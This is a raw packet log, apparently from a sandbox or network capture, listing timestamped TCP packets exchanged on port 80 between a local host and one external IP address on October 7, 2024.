Oct 7, 2024 03:15:46.235352039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235358000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235373974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235402107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235409975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235416889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235420942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235424995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235428095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235434055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235441923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235485077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235493898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235510111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235517025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235527992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235543013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235548019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235558987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235559940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235575914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235590935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235591888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235599995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235609055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235621929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235645056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235655069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235706091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235729933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235748053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235749006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235764980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235774040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235783100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235794067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235799074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235809088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235816002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235816956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235836029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235857964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235866070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235881090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235896111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235903978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235915899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235918999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235940933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235941887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235955954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235959053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235975027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.235979080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.235992908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236001015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236006975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236011982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236032009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236037970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236049891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236054897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236069918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236074924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236083984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236087084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236107111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236113071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236116886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236129999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236148119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236151934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236165047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236166954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236183882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236186981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236205101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236207008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236222029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236236095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236243010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236268997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236296892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236311913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236326933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236341953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236342907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236351013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236352921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236367941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236388922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236393929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236411095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236426115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236427069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236440897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236462116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236466885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236481905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236481905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236500978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236504078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236527920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236529112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236543894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236552954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236561060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236571074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236588001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236596107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236603975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236613989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236622095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236637115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236645937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236651897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236670017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236686945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236692905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236704111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236716986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236721039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236727953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236738920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236757040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236771107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236807108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236848116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236865044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236886024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236887932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236911058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236917973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236928940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236929893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236947060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236948967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236963987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236977100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.236980915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.236998081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.237010002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.237015009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.237031937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.237047911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.237047911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.237076998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.237093925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321507931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321547031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321583986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321608067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321618080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321654081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321660042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321697950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321710110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321751118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321762085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321801901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321814060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321860075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321868896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321907043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321922064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321954966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.321964025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.321995020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322010994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322042942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322053909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322082996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322094917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322138071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322145939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322185040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322199106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322232962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322237015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322278023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322294950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322336912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322346926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322397947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322397947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322432041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322451115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322484970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322489023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322527885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322535038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322568893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322577000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322597980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322607994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322642088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322655916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322700024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322707891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322756052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322761059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322794914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322809935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322840929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322853088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322894096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322905064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322945118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.322953939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.322988987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323009968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323030949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323036909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323067904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323069096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323103905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323108912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323138952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323144913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323172092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323179007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323211908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323213100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323246002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323251963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323280096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323286057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323314905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323321104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323349953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323353052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323393106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323401928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323441029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323456049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323476076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323481083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323510885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323513031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323544979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323551893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323580980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323581934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323615074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323622942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323651075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323656082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323687077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323693991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323723078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323726892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323761940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323762894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323797941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323802948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323831081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323842049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323867083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323869944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323900938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323904037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323936939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323939085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.323971987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.323977947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324007034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324011087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324043036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324045897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324078083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324084997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324111938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324116945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324146032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324150085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324179888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324192047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324217081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324223042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324251890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324259996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324287891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324290037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324322939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324328899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324362040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324362040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324394941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324399948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324429989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.324433088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.324472904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.461075068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.465888023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.679863930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.679905891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.679944038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.679964066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.679976940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680011034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680017948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680062056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680071115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680104971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680114031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680149078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680157900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680202961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680211067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680254936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680263042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680304050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680314064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680349112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680389881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680399895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680432081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680444956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680452108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680485010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680495977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680521011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680527925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680565119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680576086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680619955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680629015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680672884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680695057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680737019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.680747986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680780888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.680794001 CEST	49737	80	192.168.2.4	95.164.90.97
